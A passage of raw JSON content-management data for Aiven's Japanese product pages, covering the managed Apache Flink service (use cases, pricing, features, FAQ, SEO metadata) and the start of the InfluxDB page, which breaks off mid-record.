istItem":"bullet","markDefs":[],"style":"normal"}],"title":"ストリーミング解析","variant":"default"},{"_key":"0cd60ba580e7","_type":"cardItem","subtitle":[{"_key":"bd97397b76a6","_type":"block","children":[{"_key":"8e3eab2445a20","_type":"span","marks":[],"text":"ビジネスアプリケーションに渡す前に、一度だけデータをリッチ化、集計、フィルタリングすることで、ストリーミングデータの処理を簡素化します。"}],"markDefs":[],"style":"normal"},{"_key":"9ec9159398b4","_type":"block","children":[{"_key":"243af5eba0670","_type":"span","marks":[],"text":"GDPR準拠"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"343afd43def1","_type":"block","children":[{"_key":"e9225701ad190","_type":"span","marks":[],"text":"エラー管理"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9713804af459","_type":"block","children":[{"_key":"9580a0d5ae100","_type":"span","marks":[],"text":"品質監視"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"リアルタイムのデータ変換","variant":"default"}],"rounded":false,"tagline":"お客様の活用事例","title":"Aivenのお客様によるApache Flinkの活用方法"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/ja/pricing?product=flink","title":"プランを見る"},"subtitle":[{"_key":"d5ed539951b3","_type":"block","children":[{"_key":"bc0b0077eb950","_type":"span","marks":[],"text":"月額340ドルからスタートし、価格は、ブローカーの数やストレージ要件に応じて変わります。時間単位での課金により、コストを削減できます。プランの変更は、追加料金なしでいつでも可能です。"}],"markDefs":[],"style":"normal"}],"title":"最適なプランを探す","variant":"default"}],"rounded":false,"subtitle":[{"_key":"f11fa44efa31","_type":"block","children":[{"_key":"90c73915e4a30","_type":"span","marks":[],"text":"月額にはすべてが含まれているため、月末に予期せぬ請求額が届くことはありません。メンテナンス、ネットワーク、ストレージの追加料金はありません。"}],"markDefs":[],"style":"normal"}],"tagline":"価格プラン","title":"スケールアップ、スケールダウン - 利用した分だけ課金 "},{"_key":"f87f714443e0","_type":"textColumn","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"title":"ビジネスの成長に必要なデータを入手しましょう","variant":"centerColumn"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"機能紹介","title":"主な機能","variant":"centerColumn"},{"_key":"eabc0f4cd1ea8f422db802c189761df7","_type":"textImage","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-4c00a511c60ca18d408179dae0354ae5c5e4339f-1324x765-jpg","_type":"reference"}},"rounded":false,"tagline":"セットアップ","text":[{"_key":"4d87ff113edd","_type":"block","children":[{"_key":"5d9ef11c5f39","_type":"span","marks":[],"text":"5分で本番環境にApache Flinkクラスタを構築"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6c43cb395004","_type":"block","children":[{"_key":"2fa405cefe5b0","_type":"span","marks":[],"text":"AWS、Google Cloud、Microsoft Azureなど、主要なクラウドプロバイダーへのデプロイが可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ee88dd5401db","_type":"block","children":[{"_key":"7c70a6a54f610","_type":"span","marks":[],"text":"数クリックだけで、Aivenサービスのソース(Source)とシンク(Sink)にお客様のデータを統合"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5309c51e7b53","_type":"block","children":[{"_key":"ccc94b98d0fc","_type":"span","marks":[],"text":"ソースコネクタとシンクコネクタを利用して、他のAivenサービスとのデータ統合を簡単に実行"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"18397af7fb4c","_type":"block","children":[{"_key":"9d13a8222b460","_type":"span","marks":[],"text":"全て込みの価格 - ネットワーク費用も含まれるため、予期せぬ金額請求はなし"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"柔軟、迅速、ストレスフリー","variant":"mediaLeft"},{"_key":"9ff92ee9acd19816a4e55fef8f437576","_type":"textImage","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-35706c3eb2da88f2317599b1725ccff7d61b0ad0-1920x1080-jpg","_type":"reference"}},"rounded":false,"tagline":"接続","text":[{"_key":"549f1426f2d3","_type":"block","children":[{"_key":"0b7ea9e4a9c2","_type":"span","marks":[],"text":"ビルトインコネクタにより、他のAivenサービスとの"},{"_key":"cebf8627a89f","_type":"span","marks":["44de23ceb0c5"],"text":"接続が容易"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"44de23ceb0c5","_type":"link","href":"https://docs.aiven.io/docs/products/flink/howto/create-integration"}],"style":"normal"},{"_key":"ba56a058c3cd","_type":"block","children":[{"_key":"b869f6829ab20","_type":"span","marks":["c2108daab222"],"text":"VPCピアリング"},{"_key":"b869f6829ab21","_type":"span","marks":[],"text":"を使用したセキュアなネットワーク接続"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c2108daab222","_type":"link","href":"https://help.aiven.io/en/articles/778836-using-virtual-private-cloud-vpc-peering"},{"_key":"f367a1d4c4d8","_type":"link","href":"https://aiven.io/integrations-and-connectors"},{"_key":"5aac3e32079a","_type":"link","href":"https://aiven.io/time-series-databases/monitoring-and-observability"}],"style":"normal"},{"_key":"fcf8b0a77ed7","_type":"block","children":[{"_key":"aa7f9be8db5d","_type":"span","marks":[],"text":"Datadog、Prometheus、Jolokia、その他のお気に入りのオブザーバビリティ(可観測性)ツールに"},{"_key":"f6610f15a4271","_type":"span","marks":["f367a1d4c4d8"],"text":"統合"},{"_key":"f6610f15a4272","_type":"span","marks":[],"text":"したり、"},{"_key":"f6610f15a4273","_type":"span","marks":["5aac3e32079a"],"text":"Aivenの可観測性ツール"},{"_key":"f6610f15a4274","_type":"span","marks":[],"text":"を使用して監視とロギングを強化することが可能"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f367a1d4c4d8","_type":"link","href":"https://aiven.io/integrations-and-connectors"},{"_key":"5aac3e32079a","_type":"link","href":"https://aiven.io/time-series-databases/monitoring-and-observability"}],"style":"normal"},{"_key":"d64f0cb61f00","_type":"block","children":[{"_key":"454dcc67578d","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"データインフラストラクチャとの統合","variant":"mediaRight"},{"_key":"ee71902c0e86","_type":"textImage","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-c4f835fdce0eb231ec202ad0d07212a6315113dd-3070x1718-jpg","_type":"reference"}},"rounded":false,"tagline":"管理","text":[{"_key":"a6b7935d0231","_type":"block","children":[{"_key":"704830bffad80","_type":"span","marks":[],"text":"Aiven Console (GUI) または"},{"_key":"704830bffad81","_type":"span","marks":["9e1d86740782"],"text":"CLI"},{"_key":"704830bffad82","_type":"span","marks":[],"text":"ツールを使用してFlinkクラスタを管理"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9e1d86740782","_type":"link","href":"https://docs.aiven.io/docs/tools/cli"}],"style":"normal"},{"_key":"7d2e8eb5804b","_type":"block","children":[{"_key":"f008cbb4cd730","_type":"span","marks":[],"text":"クラスターのシームレスなスケールアップ/ダウンが可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1ae3977f910b","_type":"block","children":[{"_key":"9e8f8f626a140","_type":"span","marks":["a9eee2baf2bb"],"text":"オープンソースソフトウェア"},{"_key":"9e8f8f626a141","_type":"span","marks":[],"text":"との互換性を保証"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a9eee2baf2bb","_type":"link","href":"https://aiven.io/open-source"}],"style":"normal"},{"_key":"1ffcf0ff88e3","_type":"block","children":[{"_key":"40397ac43c070","_type":"span","marks":[],"text":"クラウドやリージョン間での移行が容易"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOpsに適した管理と開発","variant":"mediaLeft"},{"_key":"a5b4039a96bdf4eec82430614afedcd8","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-f51626a8d784a9261dea8f1bd79153a7b962923b-1920x1080-jpg","_type":"reference"}},"rounded":false,"tagline":"サービス","text":[{"_key":"6d8581c8f932","_type":"block","children":[{"_key":"103ceca5a2ba0","_type":"span","marks":[],"text":"99.99%のアップタイムSLAを実現する自己修復プラットフォーム"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6fe59a598b37","_type":"block","children":[{"_key":"839f5ae8c76c0","_type":"span","marks":[],"text":"スケーリング、アップグレードなどの管理運用時のダウンタイムは最小限"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1eed7d77d27e","_type":"block","children":[{"_key":"90ebdc1ad4c70","_type":"span","marks":["8d3dfdb92ffc"],"text":"安全でコンプライアンス準拠のソリューション"},{"_key":"6ec6a23d827c","_type":"span","marks":[],"text":" - ISO 27001:2013、SOC2、GDPR、HIPAA、PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8d3dfdb92ffc","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5__i18n_ja","_type":"reference"}}],"style":"normal"}],"title":"信頼性、安全性、ロックインなし","variant":"mediaRight"},{"_key":"cf168a4da3de","_type":"cardList","align":"center","disabled":false,"fullWidth":true,"id":"resources","items":[{"_key":"de5c0fc00e2e","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/flink","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"f0317e28e483","_type":"block","children":[{"_key":"d1d510e919db0","_type":"span","marks":[],"text":"Aiven for Apache Flink入門、コアコンセプト、ハウツーなどをご紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"Aivenドキュメント","title":"ドキュメント","variant":"default"},{"_key":"81fd67ad82d9","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"7IDTlcURHzZ8SEgvYlcy6Q","_type":"reference"},"title":"詳しく見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-0ce3c6718cd7bec852dcd1010e4485a41a18a887-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"053cea113e87","_type":"block","children":[{"_key":"5f6297b9d0ab0","_type":"span","marks":[],"text":"Apache Kafka®は、ストリーミングアプリケーションの基盤に最適です。Apache Flink® は、ステートフルなデータ変換の能力を備えています。これら2つでデータを処理できます。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"Apache Flink®とApache Kafka®でストリーミングSQLパイプラインを構築する","variant":"default"},{"_key":"9a8cd0cfa10a","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"2CKVoUxT8ZzGnLm7Sr23gu","_type":"reference"},"title":"詳しく見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-67df540d3fb05ef587149f0551bdbef21ca528b6-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"2bc9d21db4b7","_type":"block","children":[{"_key":"d5850063debe0","_type":"span","marks":[],"text":"ストリーミングデータは貴重な資産です。なぜデータを蓄積し、分析する必要があるのか、また、どのようにパイプラインを構築すればよいのかをご紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"簡単でリアルタイムなデータストリーミングインサイト","variant":"default"}],"rounded":false,"tagline":"リソース","title":"Aiven for Apache Flinkの使用方法についての説明"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"129cca887a5b","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3__i18n_ja","_type":"reference"},{"_key":"7a2e16ccfa65","_type":"accordionItem","id":"support","panelText":[{"_key":"bb0e9b5ddab9","_type":"block","children":[{"_key":"abd687e687030","_type":"span","marks":[],"text":"Aiven for Apache Flink®は、ほとんどのユースケースが連続したSQLクエリで簡単に解決できるため、イベントのストリーム処理にSQL言語を使用することをサポートしています。Aiven for Apache Flink®は、他のタイプのFlinkアプリケーションはサポートしていません。"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Flink®がサポートする機能は?"},{"_key":"2e894bba5729","_type":"accordionItem","id":"beta","panelText":[{"_key":"717ed819a2fc","_type":"block","children":[{"_key":"ef8bcbeca35e0","_type":"span","marks":[],"text":"Aiven for Apache Flink®は、(ソースおよびシンクコネクタとして)"},{"_key":"8f4951fdb77e","_type":"span","marks":["8b6b3344694d"],"text":"Aiven for Apache Kafka®"},{"_key":"01e842145c22","_type":"span","marks":[],"text":"、(ソースおよびシンクコネクタとして)"},{"_key":"c7406fa44889","_type":"span","marks":["1612ded7f8df"],"text":"Aiven for PostgreSQL®"},{"_key":"ad47137c06ee","_type":"span","marks":[],"text":"、(シンクコネクタとして)"},{"_key":"50af7b0510ea","_type":"span","marks":["d253127a4915"],"text":"Aiven for OpenSearch®"},{"_key":"5c76e307e52d","_type":"span","marks":[],"text":" など、他のAivenサービスと接続可能です。また、Aiven for Apache Flink®を、(クラスタがどこで稼働しているかは問わず)お客様のApache Kafkaクラスタと統合することもできます。"}],"markDefs":[{"_key":"d253127a4915","_type":"link","href":"https://aiven.io/opensearch"},{"_key":"1612ded7f8df","_type":"link","href":"https://aiven.io/postgresql"},{"_key":"8b6b3344694d","_type":"link","href":"https://aiven.io/kafka"}],"style":"normal"}],"title":"Aiven for Apache Flink®で使用できる他のAivenのサービスは何ですか?"},{"_key":"3f082d22fea7","_type":"accordionItem","panelText":[{"_key":"15c2b1c3ef4a","_type":"block","children":[{"_key":"793c19f6e01f0","_type":"span","marks":[],"text":"Aiven for Apace Flink®は、99.99%のSLAサポートと24時間365日の専門家によるサポートチームを備えており、フルマネージドのApache Flinkサービスに関するサポートが必要な場合に、ご利用いただけます。"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apace Flink®のSLAとは?"},{"_key":"a49f223d7731","_type":"accordionItem","id":"cdc","panelText":[{"_key":"5456a7e16d0e","_type":"block","children":[{"_key":"b3c096dbdfd7","_type":"span","marks":[],"text":"Aiven for Apace Flink®とAivenのDebezium CDC Connector for Aiven for PostgreSQL®を接続することで、Postgresの変更をリアルタイムで取得し、これらの変更に対して必要な変換や処理をリアルタイムで実行できます。これは、新しいサービスがソースデータベースの変更されたデータにすぐにアクセスする必要がある場合、データレプリケーションとマイクロサービスの同期に役立ちます。FlinkとPostgreSQLのためのCDC (Change Data Capture) コネクタの使用方法に関する詳細は、"},{"_key":"dfe88be63fff","_type":"span","marks":["19b1b1cb2bdf"],"text":"こちら"},{"_key":"3c982f249a0f","_type":"span","marks":[],"text":"をご覧ください。"}],"markDefs":[{"_key":"19b1b1cb2bdf","_type":"link","href":"https://docs.aiven.io/docs/products/flink/howto/pg-cdc-connector"}],"style":"normal"}],"title":"Apache FlinkをCDC (Change Data Capture) のユースケースに使用することは可能ですか?"}],"rounded":false,"title":"よくある質問"}],"seo":{"_type":"metaData","metaDescription":"AivenのフルマネージドApache Flink®サービスをお試しください。世界の主要なクラウド上でリアルタイムのストリーム処理と分析が可能になります。","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7e847319417be36628e259c62ec45875be4194b5-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for Apache Flink®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"マネージドApache Flink, Flink as a Service, Apache Flink, リアルタイムストリーム処理\",\n \"description\": \"フルマネージドApache Flink as a service - 使い慣れたSQLを使ったリアルタイムストリーム処理で、世界中の主要なクラウドに導入可能。\",\n \"featureList\": \"ストリーム処理用SQL言語、Aiven for Apache KafkaおよびAiven for PostgreSQL用ソースコネクタ、Aiven for Apache KafkaおよびAiven for PostgreSQL用シンクコネクタ、ログおよびメトリック統合、TerraformおよびKubernetesサポート、マルチAZ配置、VPCピアリング、AWS PrivateLinkサポート、管理ダッシュボード、TLS encryption at rest and in transit、High availability、Google Cloud Platformで利用可能、Amazon Web Servicesで利用可能、Microsoft Azureで利用可能、DigitalOceanで利用可能\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/flink\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"オープンソースのデータ処理エンジン\",\n \"applicationSubCategory\": \"ストリーム処理\"\n}","metaTitle":"Managed Apache Flink®サービス|Aiven"},"service":{"_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"reference"},"slug":{"_type":"slug","current":"/flink"},"title":"Flink"} {"__i18n_base":{"_ref":"51b4ca21-9543-440f-a91c-158dfd7cf78f","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-09-30T16:20:54Z","_id":"51b4ca21-9543-440f-a91c-158dfd7cf78f__i18n_ja","_rev":"AUoLUkEDo6CVeRx5sqatWN","_type":"product","_updatedAt":"2024-02-09T09:42:07Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for InfluxDB®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_ja","_type":"reference"},"title":"Aivenプラットフォーム"}},"description":[{"_key":"4a78f7748a8d","_type":"block","children":[{"_key":"5efc8faf20250","_type":"span","marks":[],"text":"フルマネージドのInfluxDBです。シンプルで高性能な読み書きが可能な、時系列データに特化した高性能データストアで、自社のワークフローに数分で組み込むことができます。"}],"markDefs":[],"style":"normal"}],"disabled":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"bc8376257e6c","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"3b13c79fd2d2","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"cea754b62877","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-0b3403f3eb1803637a328c2768f9c0a3073a90d3-1600x1137-png","_type":"reference"}},"isImageLarge":false,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"tagline":"マネージド&ホスティング","title":"Aiven for InfluxDB®","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"機能"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"メリット"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"お客様の活用事例"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"価格"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"機能紹介"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"よくある質問"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-eee325570196ed0e66e3b2d2e7916aa56c51a7e6-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"51b4ca21-9543-440f-a91c-158dfd7cf78f__i18n_ja","_type":"reference"},"title":"Aiven for InfluxDB®"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"title":"Aiven for InfluxDB®"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","rounded":false,"steps":[{"_key":"37c060512de0","_type":"textItem","content":[{"_key":"90028d189739","_type":"block","children":[{"_key":"3dbc3225f5680","_type":"span","marks":[],"text":"フルマネージド時系列データベース「Aiven for InfluxDB®」"}],"markDefs":[],"style":"h3"},{"_key":"374a919de4a0","_type":"block","children":[{"_key":"4c831bbe32ad0","_type":"span","marks":[],"text":"InfluxDBは、変動性の高いデータ用に設計された高性能な時系列データベースです。1秒間に数十万件のデータポイントを取り込み、クエリすることが可能です。"}],"markDefs":[],"style":"normal"},{"_key":"a3f89f3b16be","_type":"block","children":[{"_key":"913caa9065d90","_type":"span","marks":[],"text":"Aiven for InfluxDBでは、サービスプランとしてGrafana®を追加すると、データソースとしてInfluxDBが自動的に設定されます。また、Aivenのプラットフォームでは、他のサービスをクリックして簡単に接続し、数回クリックするだけで監視ソリューションのメトリクスを受け取り始めることができます。"}],"markDefs":[],"style":"normal"}]}],"subtitle":[{"_key":"21bb26d7765f","_type":"block","children":[{"_key":"a4e5fa54867c0","_type":"span","marks":[],"text":"InfluxDBは、優れた時系列データソリューションです。可変のデータセットを扱い、過去のデータをクエリできることで知られています。また、Aivenを使用すれば、数分でInfluxDBをデプロイし、既存のアーキテクチャを強化することができます。"}],"markDefs":[],"style":"normal"}],"tagline":"機能","title":"Aiven for InfluxDB®でできること","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"a1bd0315eee6","_ref":"8986d4de-d1f0-456a-9b22-94d18130dded","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"f2534dd38d1d","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"必要なツールで管理する","variant":"influxdb"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d2358edef1fc","_type":"block","children":[{"_key":"2527f32c77680","_type":"span","marks":[],"text":"InfluxDBは、1秒間に何十万件ものデータを処理できる時系列データベースとしてよく知られています。"}],"markDefs":[],"style":"normal"}],"title":"InfluxDBの能力とAivenの信頼性"},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"4ec73f387ef9","_type":"block","children":[{"_key":"64a1661cdaee0","_type":"span","marks":[],"text":"Aivenのマネージドサービスは、最初の1行のコードから安全に構築されています。専用VMと12時間ごとのバックアップにより、タイムスタンプ付きのデータも安全に保護されます。"}],"markDefs":[],"style":"normal"}],"title":"InfluxDBの圧倒的なパフォーマンスとAivenの信頼性"},{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"a70802a98dcb","_type":"block","children":[{"_key":"3402b0e6a0ce0","_type":"span","marks":[],"text":"メンテナンスアップデートやバージョンアップの適用に時間を取られていませんか。お客様がデータを活用することに専念できるために、このような作業は私たちにおまかせください。"}],"markDefs":[],"style":"normal"}],"title":"自動アップデート、自動アップグレードによりストレスゼロ"},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"68cb782f728f","_type":"block","children":[{"_key":"7f9da06ae44f0","_type":"span","marks":[],"text":"Aiven for InfluxDBの価格には、すべてが含まれています。一括払いで必要なコストはすべて含まれており、必要なときにはいつでもスケールアップ(あるいはスケールダウン)できます。追加の請求や手数料などは一切ありません。"}],"markDefs":[],"style":"normal"}],"title":"透明性の高い価格設定 - ネットワークコストは不要"}],"id":"benefits","rounded":false,"subtitle":[{"_key":"a4adca6ab2a4","_type":"block","children":[{"_key":"a68ba48bfe210","_type":"span","marks":[],"text":"Aivenでは、数分で時系列ノードを本番環境へ簡単にデプロイすることができます。プランの切り替え、ストレージの増設、アップグレード、プランの切り替え、ストレージの増設、アップグレードや別プロバイダーへの移行もワンクリックで、ダウンタイムなしで行えます。"}],"markDefs":[],"style":"normal"},{"_key":"94f9105c5802","_type":"block","children":[{"_key":"3eb9847e07bf0","_type":"span","marks":[],"text":"知名度と信頼性の高いTSDBをお探しなら、Aivenの相互運用性、スケーラビリティ、使いやすさ、包括的な価格設定のフルマネージドAiven for InfluxDBは最良の選択肢です。"}],"markDefs":[],"style":"normal"}],"tagline":"メリット","title":"Aiven for InfluxDB®サービスのメリット","variant":"header-left"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","subtitle":[{"_key":"2ce36ebeffe1","_type":"block","children":[{"_key":"bae95acf9b180","_type":"span","marks":[],"text":"IoTの導入が進む中、接続された水、エネルギー、温度計、ヘルスモニター、ウェアラブル技術によって生成されるデータの量は指数関数的に増加しています。InfluxDBは、インターネット接続デバイスからのデータを追跡するのに適しています。"}],"markDefs":[],"style":"normal"}],"title":"IoTビジネスの展開","variant":"default"},{"_key":"40bbb53cd0c3","_type":"cardItem","subtitle":[{"_key":"2c2b43d6474c","_type":"block","children":[{"_key":"d4749a24ca540","_type":"span","marks":[],"text":"Aiven for InfluxDBは、大規模な監視に適しています。監視、ロギング、分析、診断、アラートツール(Grafana®、OpenSearch®など)と組み合わせることで、システム全体の監視に利用でき、円滑な運用を維持することが可能です。"}],"markDefs":[],"style":"normal"}],"title":"オブザーバビリティ(可観測性)","variant":"default"},{"_key":"0cd60ba580e7","_type":"cardItem","subtitle":[{"_key":"ebc3d7f74ec0","_type":"block","children":[{"_key":"aea2d83551810","_type":"span","marks":[],"text":"TSDBは市場の変動を追跡し分析するために作られたものであり、Aiven for InfluxDBは人気の高いTSDBソリューションを提供します。関連イベントの追跡、過去のデータとの相互参照、あるいは小売店のトレンド予測や需要予測に役立てることができます。"}],"markDefs":[],"style":"normal"}],"title":"金融・小売業","variant":"default"}],"rounded":false,"tagline":"お客様の活用事例","title":"Aivenのお客様によるInfluxDBの活用方法"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/ja/pricing?product=influxdb","title":"プランを見る"},"subtitle":[{"_key":"ce874505e3bb","_type":"block","children":[{"_key":"721ee051ef880","_type":"span","marks":[],"text":"月額60ドルからスタートし、価格は、ノード数とストレージ要求に応じて変わります。時間単位の課金により、コストを削減できます。プランの変更は、追加料金なしでいつでも可能です。"}],"markDefs":[],"style":"normal"}],"title":"プランの比較","variant":"default"}],"rounded":false,"subtitle":[{"_key":"7bafd57fa4bf","_type":"block","children":[{"_key":"6596166c5c870","_type":"span","marks":[],"text":"月額にはすべてが含まれているため、月末に予期せぬ請求額が届くことはありません。メンテナンス、ネットワーク、ストレージの追加料金はありません。プライベートネットワーク(VPC)、シングルテナント、マルチAZを利用できます。必要なときにノードとリージョンをスピンアップし、不要なときにシャットダウンできます。"}],"markDefs":[],"style":"normal"}],"tagline":"価格プラン","title":"価格 - 利用した分だけ課金"},{"_key":"f87f714443e0","_type":"textColumn","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"title":"今すぐ最初のノードをスピンアップしましょう","variant":"centerColumn"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"機能紹介","title":"主な機能","variant":"centerColumn"},{"_key":"b2eda0fc84959d13ac1d2c4823d69f7d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"